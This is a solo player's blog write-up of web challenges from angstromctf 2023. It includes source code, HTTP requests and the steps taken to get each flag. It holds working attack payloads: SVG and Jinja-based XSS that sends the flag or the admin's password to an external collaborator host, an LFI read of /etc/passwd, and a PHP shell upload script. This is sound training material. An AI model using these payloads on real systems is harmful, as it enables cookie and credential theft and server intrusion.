angstromctf 2023 - WEB
Posted on 02 May 2023 in security • 7 min read
I participated as a solo player to angstromctf 2023. I focused on Web challenges.
catch me if you can
- 10 points
- 1150 solves
Very simple, sanity check challenge. View source:
<html>
<head>
<style>
body {
font-family: "Comic Sans MS", "Comic Sans", cursive;
}
#flag {
border: 2px solid red;
position: absolute;
top: 50%;
left: 0;
-moz-user-select: -moz-none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
user-select: none;
animation-name: spin;
animation-duration: 3000ms;
animation-iteration-count: infinite;
animation-timing-function: linear;
}
@keyframes spin {
from {
transform:rotate(0deg);
}
to {
transform:rotate(360deg);
}
}
</style>
</head>
<body>
<h1>catch me if you can!</h1>
<marquee scrollamount="50" id="flag">actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}</marquee>
</body>
</html>
Celeste Speedrunning Association
- 20 points
- 681 solves
We need to beat a speed run time. Meaning we can start in the future and have a negative run time. Just modify the start date of the going request:
POST /submit HTTP/1.1
Host: mount-tunnel.web.actf.co
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
Connection: close
start=1700000000
HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Thu, 26 Apr 2023 17:24:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
Connection: close
you win the flag: actf{wait_until_farewell_speedrun}
shortcircuit
- 40 points
- 770 solves
We have a login form with a JavaScript validation. The flag is the password.
const swap = (x) => {
let t = x[0]
x[0] = x[3]
x[3] = t
t = x[2]
x[2] = x[1]
x[1] = t
t = x[1]
x[1] = x[3]
x[3] = t
t = x[3]
x[3] = x[2]
x[2] = t
return x
}
const chunk = (x, n) => {
let ret = []
for(let i = 0; i < x.length; i+=n){
ret.push(x.substring(i,i+n))
}
return ret
}
const check = (e) => {
if (document.forms[0].username.value === "admin"){
if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
location.href="/win.html"
}
else{
document.getElementById("msg").style.display = "block"
}
}
}
The input password was passed to the chunk
function and then to the swap
function. The result
needed to
be 7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7
.
The chunk
function just cut the 120 characters password into four 30 characters pieces.
The swap
function swap the different chunk in the following manner: 0123 → 3120 → 3210 → 3012 → 3021
Knowing that we could find that the flag was (I left space between the chunk for clarity):
actf{cl1ent_s1de_sucks_544e67e 6317199e454f4d2bdb04d9e419ccc7 f12024523398ee02fe7517fffa9251 7e08250c4aaa9ed206fd7c9e398e2}
directory
- 40 points
- 806 solves
There was around 5 000 directories and only one contained the flag. I used wget -r -np -k
https://directory.web.actf.co/
to recursively download the site (this took time, but I did not care
as I was working on the next challenge during that time) and then used grep
to find the flag.
➜ grep actf directory.web.actf.co/*
directory.web.actf.co/3054.html:actf{y0u_f0und_me_b51d0cde76739fa3}
Celeste Tunneling Association
- 40 points
- 566 solves
This was a simple website and the code source was provided.
# run via `uvicorn app:app --port 6000`
import os
SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']
async def app(scope, receive, send):
assert scope['type'] == 'http'
headers = scope['headers']
await send({
'type': 'http.response.start',
'status': 200,
'headers': [
[b'content-type', b'text/plain'],
],
})
# IDK malformed requests or something
num_hosts = 0
for name, value in headers:
if name == b"host":
num_hosts += 1
if num_hosts == 1:
for name, value in headers:
if name == b"host" and value == SECRET_SITE:
await send({
'type': 'http.response.body',
'body': FLAG.encode(),
})
return
await send({
'type': 'http.response.body',
'body': b'Welcome to the _tunnel_. Watch your step!!',
})
Looking at the source code we understood that we needed one host
header with the value
flag.local
. Using burp we modified the request to look like the following and got the flag in the
response.
GET / HTTP/2
Host: flag.local
HTTP/2 200 OK
Content-Type: text/plain
Date: Thu, 26 Apr 2023 18:07:54 GMT
Server: uvicorn
actf{reaching_the_core__chapter_8}
hallmark
- 80 points
- 243 solves
We could generate cards and shared them via the site. There was also an admin app that simulated the administrator behavior and would browse card we sent it.
app
static
ﰟ cake.svg
ﰟ flowers.svg
ﰟ heart.svg
ﰟ snowman.svg
Dockerfile
index.html
index.js
package-lock.json
package.json
The app was pretty straightforward and consisted mostly of the index.js
file.
const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const path = require("path");
const { v4: uuidv4, v4 } = require("uuid");
const fs = require("fs");
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());
const IMAGES = {
heart: fs.readFileSync("./static/heart.svg"),
snowman: fs.readFileSync("./static/snowman.svg"),
flowers: fs.readFileSync("./static/flowers.svg"),
cake: fs.readFileSync("./static/cake.svg")
};
Object.freeze(IMAGES)
const port = Number(process.env.PORT) || 8080;
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";
const cards = Object.create(null);
app.use('/static', express.static('static'))
app.get("/card", (req, res) => {
if (req.query.id && cards[req.query.id]) {
res.setHeader("Content-Type", cards[req.query.id].type);
res.send(cards[req.query.id].content);
} else {
res.send("bad id");
}
});
app.post("/card", (req, res) => {
let { svg, content } = req.body;
let type = "text/plain";
let id = v4();
if (svg === "text") {
type = "text/plain";
cards[id] = { type, content }
} else {
type = "image/svg+xml";
cards[id] = { type, content: IMAGES[svg] }
}
res.redirect("/card?id=" + id);
});
app.put("/card", (req, res) => {
let { id, type, svg, content } = req.body;
if (!id || !cards[id]){
res.send("bad id");
return;
}
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
res.send("ok");
});
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies && req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
There were three actions for the card
endpoint:
- GET: required the get parameter
id
and would display the card if theid
existed. - POST: generated a card, the action used by the site when generating a card
- PUT: this method was never used on the site directly but could be used manually to edit a card
We generated an SVG card using the application user interface (this used the /card
POST method).
POST /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
svg=heart&content=aaa
The response contained our card ID.
HTTP/1.1 302 Found
Server: nginx/1.23.3
Date: Thu, 26 Apr 2023 19:29:04 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 67
Connection: keep-alive
X-Powered-By: Express
Location: /card?id=eb184d2d-6ae9-416d-adb4-6f89afca7e74
Vary: Accept
Found. Redirecting to /card?id=eb184d2d-6ae9-416d-adb4-6f89afca7e74
We modified the card using the PUT method. In order to keep the Content-Type
as image/svg+xml
we
needed to take advantage of the loose comparison cards[id].type = type == "image/svg+xml" ? type : "text/plain";
using type[]=image/svg%2bxml
. We also included an SVG file containing a XSS payload (a simple
alert('XSS')
for now).
PUT /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 1601
svg=heart&type[]=image/svg%2bxml&content=<svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+width%3d"400"+height%3d"400"+viewBox%3d"0+0+400+400"+onload%3d"alert('XSS')"><path+fill%3d"%23465283"+d%3d"M32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067H40.29l-8.365+41.618H1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219H58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617H262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22"/></svg>&id=498b8244-43c1-4ae1-a520-89b33fd164fe
The XSS was triggered when browsing the card:
We craft a payload that will request the flag and send it to a Burp collaborator:
fetch('/flag').then(flag=>flag.text()).then(flag => fetch('https://burp.collaborator/'+flag))
We modify the SVG file:
PUT /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 1713
svg=heart&type[]=image/svg%2bxml&content=<svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+width%3d"400"+height%3d"400"+viewBox%3d"0+0+400+400"+onload%3d"fetch('/flag').then(flag=>flag.text()).then(flag+%3d>+fetch('https://f8oln394j5jyuy7praekidg2vt1kpbd0.oastify.com/'%2bflag))"><path+fill%3d"%23465283"+d%3d"M32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067H40.29l-8.365+41.618H1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219H58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617H262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22"/></svg>&id=498b8244-43c1-4ae1-a520-89b33fd164fe
We verified that our payload was working and got an interaction
/you%20can't%20view%20this%20%3E:(?p0wu1=1
on our collaborator instance.
Then, we sent our card to the admin and got the flag as a collaborator interaction:
`GET /actf%7Bthe_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33%7D HTTP/1.1
brokenlogin
- 110 points
- 167 solves
The application was an authentication form with an impossible login. As the previous challenge an administrator is simulated with a web page. Below is the JavaScript for the admin bot:
module.exports = {
name: "brokenlogin",
timeout: 7000,
async execute(browser, url) {
if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return;
const page = await browser.newPage();
await page.goto(url);
await page.waitForNetworkIdle({
timeout: 5000,
});
await page.waitForSelector("input[name=username]");
await page.$eval(
"input[name=username]",
(el) => (el.value = "admin")
);
await page.waitForSelector("input[name=password]");
await page.$eval(
"input[name=password]",
(el, password) => (el.value = password),
process.env.CHALL_BROKENLOGIN_FLAG
);
await page.click("input[type=submit]");
await new Promise((r) => setTimeout(r, 1000));
await page.close();
},
};
Looking at the source code we noticed that a Flask Jinja template is used to build the page. In addition, it is possible to add a custom failure message using a GET parameter message.
from flask import Flask, make_response, request, escape, render_template_string
app = Flask(__name__)
fails = 0
indexPage = """
<html>
<head>
<title>Broken Login</title>
</head>
<body>
<p style="color: red; fontSize: '28px';">%s</p>
<p>Number of failed logins: {{ fails }}</p>
<form action="/" method="POST">
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br />
<label for="password">Password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
</body>
</html>
"""
@app.get("/")
def index():
global fails
custom_message = ""
if "message" in request.args:
if len(request.args["message"]) >= 25:
return render_template_string(indexPage, fails=fails)
custom_message = escape(request.args["message"])
return render_template_string(indexPage % custom_message, fails=fails)
@app.post("/")
def login():
global fails
fails += 1
return make_response("wrong username or password", 401)
if __name__ == "__main__":
app.run("0.0.0.0")
For instance https://brokenlogin.web.actf.co/?message=aa
would display aa
at the beginning of the
page (in red). This parameter is interpreted as a Jinja2 input and 7*7
would result in 49
. We
could also use https://brokenlogin.web.actf.co/?message={{%20config.items()%20}}
to retrieve the
configuration.
dict_items([('ENV', 2), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', None), ('JSON_SORT_KEYS', None), ('JSONIFY_PRETTYPRINT_REGULAR', None), ('JSONIFY_MIMETYPE', None), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('g', Undefined), ('a', 2), ('x', 13), ('aa', 1), ('add', 1), ('z', 2), (6, 9), ('q', 2)])
We were limited by a length check and our custom message could not be more than 25 characters. But using Jinja2 filters in addition to requests parameters we were able to craft an XSS:
https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ealert(1);%3C/script%3E
We needed to retrieve and exhilarate the flag. But we also needed to wait for the form to be fully
loaded. Using window.onload
would achieve that. After a few try the final payload looked like
this:
https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ewindow.onload%20=function(){document.forms[0].action=%22https://zux59nvo5p5igit9du044x2mhdn4bxzm.oastify.com%22};%3C/script%3E
Sending this link to the admin resulted in an interaction with our collaborator that disclosed the flag.
POST / HTTP/1.1
Host: zux59nvo5p5igit9du044x2mhdn4bxzm.oastify.com
<SNIP>
username=admin&password=actf%7Badm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9%7D
filestore
- 180 points
- 73 solves
This was a PHP file store service.
dist/
├── Dockerfile
├── list_uploads
├── make_abyss_entry
└── src
├── index.php
└── uploads
└── placeholder.txt
The main file was the PHP index:
<?php
if($_SERVER['REQUEST_METHOD'] == "POST"){
if ($_FILES["f"]["size"] > 1000) {
echo "file too large";
return;
}
$i = uniqid();
if (empty($_FILES["f"])){
return;
}
if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $i . "_" . hash('sha256', $_FILES["f"]["name"]) . "_" . $_FILES["f"]["name"])){
echo "upload success";
} else {
echo "upload error";
}
} else {
if (isset($_GET["f"])) {
include "./uploads/" . $_GET["f"];
}
highlight_file("index.php");
// this doesn't work, so I'm commenting it out 😛
// system("/list_uploads");
}
?>
Note that we had an LFI and https://filestore.web.actf.co/?f=../../../../../etc/passwd
would
return the content of /etc/passwd
.
Uploading a file would result in it being renamed using the uniqid
function. As notice in a big
red box on the documentation this function just
return the time in microseconds and must not be used for cryptographic purposes.
The final filename would be in the form time_sha256sum_filename
.
We created a script that will upload a simple PHP shell and print the value of uniqid
before and
after the request.
import requests
import os
files = {'f': open('shell.php','rb')}
url = 'https://filestore.web.actf.co/'
os.system('php -r \'printf("uniqid(): %s\r\n", uniqid());\'')
r = requests.post(url, files=files)#, data=values)
os.system('php -r \'printf("uniqid(): %s\r\n", uniqid());\'')
It turned out that this was around 470k requests. It seemed too much to be bruteforce and there should be another way.
I did not solve this challenge
Meme-Lord, used ffuf to bruteforce it and you can find the followup of the challenge in his writeup
Another method was to use pearcmd.php
.
This method is also detailed here (gist)
and here (hacktricks).